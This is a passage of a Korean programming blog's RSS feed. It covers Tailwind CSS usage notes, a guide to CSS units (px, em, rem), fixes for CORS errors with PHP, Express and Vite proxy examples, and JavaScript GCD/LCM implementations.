&lt;li&gt;&lt;code&gt;rounded-xl&lt;/code&gt;, &lt;code&gt;shadow-lg&lt;/code&gt;: 디자인 요소 강조&lt;/li&gt;
&lt;li&gt;&lt;code&gt;text-2xl&lt;/code&gt;, &lt;code&gt;text-gray-600&lt;/code&gt;, &lt;code&gt;bg-blue-600&lt;/code&gt;: 텍스트 및 버튼 스타일링&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;실무 적용 시 유의사항&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;성능 측면&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;JIT 모드와 purge 설정으로 번들 최적화 가능&lt;/li&gt;
&lt;li&gt;CDN 방식은 빠르지만 빌드 최적화에는 한계가 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;유지보수&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;HTML 내 클래스가 많아지면 가독성이 떨어질 수 있음&lt;/li&gt;
&lt;li&gt;반복되는 구조는 컴포넌트화하여 관리&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;협업 환경&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;디자인 시스템과 결합하면 강력함&lt;/li&gt;
&lt;li&gt;비개발자도 class 이름만으로 대략적인 스타일을 유추할 수 있음&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Programing/CSS</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/493</guid>
      <comments>https://eyecandyzero.tistory.com/493#entry493comment</comments>
      <pubDate>Tue, 10 Jun 2025 11:19:42 +0900</pubDate>
    </item>
    <item>
      <title>px, em, rem? 헷갈리는 CSS 단위 정리 (CSS Units Guide)</title>
      <link>https://eyecandyzero.tistory.com/492</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;웹 페이지를 디자인할 때 빠지지 않는 것이 바로 텍스트와 레이아웃의 크기입니다. 이때 사용하는 CSS 단위는 디테일한 표현을 위한 핵심 요소입니다. 하지만 &quot;px&quot;, &quot;em&quot;, &quot;rem&quot; 같은 단위를 정확히 이해하지 못하면 디자인이 화면마다 다르게 보이거나, 접근성에 취약한 결과를 낳을 수 있습니다. 이 글에서는 각 단위의 특징과 실전 사용법을 자세히 정리합니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. &quot;px&quot; (픽셀)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;px&quot;는 디지털 화면에서 고정된 크기를 의미하는 &quot;절대 단위&quot;입니다. 가장 직관적이고 예측 가능한 단위로, 많은 디자이너와 개발자들이 익숙하게 사용하는 방식입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 &quot;16px&quot;로 폰트 크기를 설정하면, 해당 텍스트는 어떤 상황에서도 16개의 화면 픽셀 높이로 표시됩니다. 이는 정밀한 위치 조정이 필요하거나 작은 아이콘, 테두리 등을 다룰 때 유리합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 단점도 있습니다. 고해상도 디스플레이(예: Retina 디스플레이, 4K 모니터)에서는 픽셀이 촘촘하기 때문에 &quot;16px&quot;도 상대적으로 작게 보여 가독성이 떨어질 수 있습니다. 또한 시력이 약한 사용자가 확대 설정을 해도, 픽셀 단위는 이에 반응하지 않아 &quot;접근성&quot; 측면에서 불리합니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;예제&lt;/h4&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;body {
  font-size: 16px; /* 고정된 크기로 설정됨 */
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;특징:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&quot;절대 크기&quot; 단위로 항상 동일한 픽셀 크기를 유지&lt;/li&gt;
&lt;li&gt;다양한 해상도나 확대 환경에서 유연하지 않음&lt;/li&gt;
&lt;li&gt;정밀한 디자인에 적합하지만 &quot;반응형 디자인&quot;에는 불리함&lt;/li&gt;
&lt;li&gt;고해상도 화면에서 작게 보여질 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. &quot;em&quot; (부모 기준 상대 단위)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;em&quot;은 해당 요소의 &quot;부모 요소의 폰트 크기&quot;를 기준으로 계산되는 &quot;상대 단위&quot;입니다. 이는 계층적으로 스타일이 적용되는 CSS의 특성과 잘 맞아, 내부 요소들의 크기를 유동적으로 조절할 수 있게 해줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 부모 요소가 20px일 때, 자식 요소에 &quot;1.2em&quot;을 지정하면 최종 크기는 24px이 됩니다. 하지만 중첩된 구조에서는 부모 크기에 계속 영향을 받기 때문에 예상치 못한 결과가 나올 수 있습니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;예제&lt;/h4&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;.container {
  font-size: 20px;
}
.container p {
  font-size: 1.2em; /* 부모가 20px이므로 결과는 24px */
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;특징:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;부모의 폰트 크기를 기준으로 상대 계산&lt;/li&gt;
&lt;li&gt;중첩 구조에서는 누적되어 가독성이 떨어질 수 있음&lt;/li&gt;
&lt;li&gt;특정 영역 내 폰트 비율 조정에 유리함&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. &quot;rem&quot; (루트 기준 상대 단위)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;rem&quot;은 &quot;root em&quot;의 줄임말로, 브라우저의 기본 글꼴 크기 또는 HTML 요소의 폰트 크기를 기준으로 계산되는 단위입니다. 기본적으로 HTML의 font-size가 16px이면, &quot;1rem&quot;은 16px이 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;rem&quot;은 부모 요소와 무관하게 계산되므로, 일관된 크기를 유지하면서도 상대적인 설정이 가능해 관리와 유지보수에 유리합니다. 특히 반응형 디자인이나 접근성을 고려할 때 많이 사용됩니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;예제&lt;/h4&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;html {
  font-size: 16px;
}
p {
  font-size: 1.5rem; /* 결과적으로 24px */
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;특징:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;HTML 요소의 폰트 크기를 기준으로 계산&lt;/li&gt;
&lt;li&gt;계층에 상관없이 일관된 크기를 유지&lt;/li&gt;
&lt;li&gt;설계와 유지보수가 쉬움&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 기타 상대 단위&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;단위&lt;/th&gt;
&lt;th&gt;기준 요소&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;th&gt;대표 사용 예시&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&quot;px&quot;&lt;/td&gt;
&lt;td&gt;고정 픽셀&lt;/td&gt;
&lt;td&gt;디바이스의 해상도와 무관하게 고정 크기를 유지&lt;/td&gt;
&lt;td&gt;테두리, 아이콘, 스크롤바 등&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&quot;em&quot;&lt;/td&gt;
&lt;td&gt;부모 요소의 폰트 크기&lt;/td&gt;
&lt;td&gt;중첩 구조에서 누적 가능성이 있음&lt;/td&gt;
&lt;td&gt;내부 텍스트 비율 조정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&quot;rem&quot;&lt;/td&gt;
&lt;td&gt;루트(html) 폰트 크기&lt;/td&gt;
&lt;td&gt;구조에 상관없이 항상 일정한 크기&lt;/td&gt;
&lt;td&gt;전체적인 폰트/마진 설정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&quot;%&quot;&lt;/td&gt;
&lt;td&gt;부모 요소의 상대 크기&lt;/td&gt;
&lt;td&gt;너비/높이 조정에 자주 사용&lt;/td&gt;
&lt;td&gt;이미지 비율, 칼럼 너비&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&quot;vw&quot;&lt;/td&gt;
&lt;td&gt;뷰포트 너비&lt;/td&gt;
&lt;td&gt;화면의 가로폭에 따른 반응형 조정&lt;/td&gt;
&lt;td&gt;풀화면 배너, 큰 타이틀 텍스트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&quot;vh&quot;&lt;/td&gt;
&lt;td&gt;뷰포트 높이&lt;/td&gt;
&lt;td&gt;화면의 높이에 따라 요소 크기 조절&lt;/td&gt;
&lt;td&gt;Hero 영역, 슬라이더 높이 등&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;em vs rem: 시각적 이해 예시&lt;/h2&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;html {
  font-size: 16px;
}
.wrapper {
  font-size: 20px;
}
.wrapper p {
  font-size: 1.5em; /* 30px, wrapper 기준 */
}
.wrapper .fixed {
  font-size: 1.5rem; /* 24px, html 기준 */
}&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&quot;em&quot;은 부모인 .wrapper의 font-size(20px)에 따라 30px이 됨&lt;/li&gt;
&lt;li&gt;&quot;rem&quot;은 항상 루트(html)의 font-size(16px)을 기준으로 24px이 됨&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;어떤 상황에 어떤 단위를 써야 할까?&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&quot;px&quot;은 &lt;b&gt;정밀한 위치 조정&lt;/b&gt;이 필요하거나 &lt;b&gt;간단한 요소에만 적용&lt;/b&gt;할 때 적합합니다.&lt;/li&gt;
&lt;li&gt;&quot;em&quot;은 &lt;b&gt;로컬 컨텍스트에서 유연한 비율 조정&lt;/b&gt;이 필요할 때 유용합니다.&lt;/li&gt;
&lt;li&gt;&quot;rem&quot;은 &lt;b&gt;전체 사이트에서 일관된 크기 체계&lt;/b&gt;를 유지하고 싶을 때 가장 권장됩니다.&lt;/li&gt;
&lt;li&gt;&quot;%&quot;, &quot;vw&quot;, &quot;vh&quot;는 &lt;b&gt;반응형 레이아웃&lt;/b&gt;에서 화면 크기에 따라 동적으로 구성할 때 사용됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;</description>
      <category>Programing/CSS</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/492</guid>
      <comments>https://eyecandyzero.tistory.com/492#entry492comment</comments>
      <pubDate>Tue, 10 Jun 2025 10:45:20 +0900</pubDate>
    </item>
    <item>
      <title>개발 중 자주 만나는 CORS 오류와 해결법 정리 (CORS Error in Web Development)</title>
      <link>https://eyecandyzero.tistory.com/491</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;CORS 오류란 무엇인가요?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;CORS(Cross-Origin Resource Sharing) 오류&quot;는 웹 개발 과정에서 프론트엔드와 백엔드가 다른 도메인에서 실행될 때 자주 발생하는 보안 관련 문제입니다. 브라우저는 보안상의 이유로 동일 출처(Same-Origin) 정책을 따릅니다. 즉, 현재 페이지를 로드한 출처(도메인, 프로토콜, 포트)가 아닌 외부 출처로의 요청에 대해서는 제한을 걸게 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 제한은 보안 강화를 위한 조치지만, 실제 개발 환경에서는 프론트엔드와 백엔드가 서로 다른 서버에 위치해 있는 경우가 많기 때문에 문제를 일으킬 수 있습니다. 이때 발생하는 것이 바로 &quot;CORS 정책 위반&quot;입니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;언제 발생하나요?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같은 상황에서 CORS 오류가 발생하는 경우가 많습니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&quot;로컬 개발 중&quot;, 프론트엔드는 &lt;code&gt;localhost:3000&lt;/code&gt;, 백엔드는 &lt;code&gt;localhost:8000&lt;/code&gt;과 같이 포트가 다를 때&lt;/li&gt;
&lt;li&gt;프론트엔드에서 &quot;외부 API&quot;를 호출할 때 (예: &lt;code&gt;https://api.example.com&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;배포된 웹사이트가 &quot;서브도메인 또는 CDN&quot;을 사용하면서 다른 출처에서 리소스를 요청할 때&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;실제 오류 메시지 예시&lt;/h3&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;Access to fetch at 'https://api.example.com/data' from origin 'http://localhost:3000' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 메시지는 브라우저가 응답 헤더에 &quot;Access-Control-Allow-Origin&quot;이 없기 때문에 요청을 차단했다는 의미입니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;해결 방법 정리&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 서버 측 설정 추가&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 권장되는 방법은 &quot;백엔드 서버에서 올바른 CORS 헤더를 설정&quot;하는 것입니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;PHP 예제:&lt;/h4&gt;
&lt;pre class=&quot;lasso&quot;&gt;&lt;code&gt;&amp;lt;?php
// CORS 허용 설정
header(&quot;Access-Control-Allow-Origin: *&quot;);
header(&quot;Access-Control-Allow-Methods: GET, POST, OPTIONS&quot;);
header(&quot;Access-Control-Allow-Headers: Content-Type&quot;);

// 요청 처리 코드
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Node.js (Express) 예제:&lt;/h4&gt;
&lt;pre class=&quot;php&quot;&gt;&lt;code&gt;const express = require('express');
const cors = require('cors');
const app = express();

// 모든 출처 허용
app.use(cors());

app.get('/api/data', (req, res) =&amp;gt; {
  res.json({ message: 'CORS OK' });
});

app.listen(3000);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;주의:&lt;/b&gt; &quot;Access-Control-Allow-Origin: *&quot;은 개발에는 유용하지만, 인증 정보를 포함한 요청에는 보안상 위험할 수 있으므로 운영 환경에서는 특정 도메인만 허용하는 방식이 필요합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 프록시 서버 활용&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개발 도중 CORS 오류를 우회하는 용도로 &quot;프록시 서버&quot;를 설정할 수 있습니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;예: React 프로젝트에서 &lt;code&gt;vite.config.js&lt;/code&gt;&lt;/h4&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;export default defineConfig({
  server: {
    proxy: {
      '/api': {
        target: 'http://localhost:8000',
        changeOrigin: true,
        rewrite: (path) =&amp;gt; path.replace(/^\/api/, '')
      }
    }
  }
});&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 설정을 통해 &lt;code&gt;/api&lt;/code&gt;로 들어오는 요청은 &lt;code&gt;localhost:8000&lt;/code&gt;으로 프록시 처리되어 브라우저의 CORS 정책을 회피할 수 있습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 브라우저 확장 프로그램 사용 (비추천)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개발 초기 단계에서는 &quot;CORS 관련 브라우저 확장 프로그램&quot;을 사용할 수 있습니다. 예를 들어 Chrome의 &quot;Allow CORS&quot; 확장 기능은 임시적으로 요청을 허용해줍니다. 하지만 &quot;운영 배포 환경&quot;에서는 절대 사용해서는 안 됩니다. 사용자의 브라우저에 의존하는 방식이기 때문에 신뢰성이 없습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;개발과 운영 단계의 차이&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&quot;개발 단계&quot;: 프록시 설정이나 로컬 CORS 우회 도구를 활용해 빠르게 개발을 이어갈 수 있음&lt;/li&gt;
&lt;li&gt;&quot;운영 단계&quot;: 반드시 백엔드 서버에서 정확한 CORS 설정을 적용해야 하며, 보안 상 민감한 데이터가 포함된다면 도메인 단위로 세밀하게 허용 범위를 지정해야 합니다&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;마무리 및 추천 학습&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CORS 오류는 많은 초보 개발자가 처음 부딪히는 웹 보안 개념 중 하나입니다. 하지만 서버 설정의 원리를 이해하고 적절히 대응하는 법을 익히면 해결은 그리 어렵지 않습니다. 무엇보다 중요한 것은 &quot;브라우저 보안 정책&quot;의 의도를 이해하고 그에 맞춰 개발 방식을 조정하는 능력입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;추천 학습 자료:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/ko/docs/Web/HTTP/CORS&quot;&gt;MDN - HTTP CORS 개념 정리&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://web.dev/articles/cross-origin-resource-sharing&quot;&gt;웹 보안 입문자를 위한 강의&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Programing</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/491</guid>
      <comments>https://eyecandyzero.tistory.com/491#entry491comment</comments>
      <pubDate>Tue, 10 Jun 2025 10:02:16 +0900</pubDate>
    </item>
    <item>
      <title>JavaScript로 배우는 유클리드 호제법 (GCD with Euclidean Algorithm)</title>
      <link>https://eyecandyzero.tistory.com/490</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;유클리드 호제법이란?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;유클리드 호제법(Euclidean Algorithm)&quot;은 두 자연수의 &quot;최대공약수(Greatest Common Divisor, GCD)&quot;를 효율적으로 구하는 고전적인 수학 알고리즘입니다. 이 방식은 기원전 유클리드가 『기하학 원론』에서 소개한 방법으로, 간단하면서도 강력한 계산 원리를 기반으로 합니다. 알고리즘 문제 풀이뿐만 아니라 실제 시스템 설계나 암호 알고리즘에서도 활용되는 등, 실무와 이론 양쪽에서 중요한 위치를 차지하고 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;핵심 아이디어는 다음과 같습니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;두 수 A, B가 있을 때 (단, A &amp;gt; B), A를 B로 나눈 나머지를 R이라고 하면,&lt;/li&gt;
&lt;li&gt;A와 B의 최대공약수는 곧 B와 R의 최대공약수와 동일합니다.&lt;/li&gt;
&lt;li&gt;이 과정을 B가 0이 될 때까지 반복하면, 마지막에 남는 수가 GCD입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 알고리즘은 재귀 호출이나 반복문을 통해 간결하게 구현할 수 있으며, 계산량이 작고 안정적입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;재귀 방식으로 구현하기&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 JavaScript로 구현한 재귀 방식의 유클리드 알고리즘입니다:&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;// 두 수의 최대공약수를 구하는 재귀 함수
function gcdRecursive(a, b) {
  // b가 0이 되면 a가 GCD
  if (b === 0) return a;
  // 재귀적으로 호출 (b와 a % b)
  return gcdRecursive(b, a % b);
}

// 예제 실행
console.log(gcdRecursive(48, 18)); // 출력: 6&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 방식은 문제를 반복적으로 더 작은 문제로 쪼개서 해결하는 &quot;재귀 함수&quot;의 특징을 잘 보여줍니다. 특히 이 구현은 코드가 간결하고 직관적이기 때문에 알고리즘의 흐름을 이해하는 데 효과적입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;반복문으로 구현하기 (while loop)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;재귀와는 달리 반복문을 이용하면 호출 스택을 사용하지 않으므로 메모리 효율이 더 좋습니다. 다음은 while 반복문을 활용한 방식입니다:&lt;/p&gt;
&lt;pre class=&quot;javascript&quot;&gt;&lt;code&gt;// 두 수의 최대공약수를 구하는 반복문 함수
function gcdIterative(a, b) {
  while (b !== 0) {
    const temp = b;      // 현재 b를 임시 저장
    b = a % b;           // b는 a % b로 갱신
    a = temp;            // a는 이전 b로 갱신
  }
  return a; // b가 0이 된 순간의 a가 GCD
}

// 예제 실행
console.log(gcdIterative(48, 18)); // 출력: 6&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제 프로덕션 환경에서는 반복문 방식이 더 선호되는 경우가 많습니다. 특히 재귀 깊이가 깊어질 수 있는 상황에서는 반복문이 안정적입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;최소공배수(LCM) 계산까지 확장하기&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;최소공배수(Least Common Multiple, LCM)&quot;는 두 수가 공통으로 가지는 배수 중 가장 작은 수입니다. LCM은 GCD를 이용하여 다음과 같은 공식으로 효율적으로 구할 수 있습니다:&lt;/p&gt;
&lt;pre class=&quot;gcode&quot;&gt;&lt;code&gt;LCM(A, B) = (A * B) / GCD(A, B)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 기반으로 JavaScript 함수는 다음과 같이 작성할 수 있습니다:&lt;/p&gt;
&lt;pre class=&quot;delphi&quot;&gt;&lt;code&gt;// 최소공배수를 구하는 함수 (GCD를 활용)
function lcm(a, b) {
  return (a * b) / gcdIterative(a, b);
}

// 예제 실행
console.log(lcm(12, 18)); // 출력: 36&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;LCM 계산은 분수의 통분이나 다항식의 최소 단위 설정 등 수학 문제에서 자주 활용됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;시간 복잡도 및 활용 분야&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;유클리드 알고리즘은 수학적으로 O(log N)의 시간 복잡도를 가집니다. 이는 매우 효율적인 성능으로, 큰 수에 대해서도 빠르게 계산이 가능합니다.&lt;/li&gt;
&lt;li&gt;메모리 공간도 O(1) 수준으로 효율적입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제 활용 분야는 다음과 같습니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;분수의 통분 계산&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;암호학 알고리즘&lt;/b&gt; (예: RSA에서의 모듈러 연산)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;컴퓨터 시스템 설계&lt;/b&gt;에서 스케줄링 주기 계산&lt;/li&gt;
&lt;li&gt;&lt;b&gt;수학 문제 풀이&lt;/b&gt; 및 교육용 알고리즘&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;마무리 및 CTA&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;유클리드 호제법은 알고리즘의 기본적인 사고를 다지는 데 매우 적합한 주제입니다. 특히 &quot;재귀 함수&quot;와 &quot;반복문&quot;을 비교하며 학습하면, 코드 구현에 대한 깊은 이해를 얻을 수 있습니다. 또한, GCD를 확장하여 LCM까지 활용할 수 있는 점은 실용적인 가치가 높습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 알고리즘에 대한 이해를 더욱 깊이 있게 확장하고 싶다면 다음 자료를 참고해보세요:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;추천 자료:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://www.geeksforgeeks.org/euclidean-algorithms-basic-and-extended/&quot;&gt;GeeksforGeeks - Euclidean Algorithm&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://brilliant.org/wiki/recursion/&quot;&gt;Brilliant - Recursive Thinking&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Programing/Algorithm</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/490</guid>
      <comments>https://eyecandyzero.tistory.com/490#entry490comment</comments>
      <pubDate>Mon, 9 Jun 2025 08:42:52 +0900</pubDate>
    </item>
    <item>
      <title>젤다 노트 보이스 메모리 일본어 음성 살정 변경</title>
      <link>https://eyecandyzero.tistory.com/489</link>
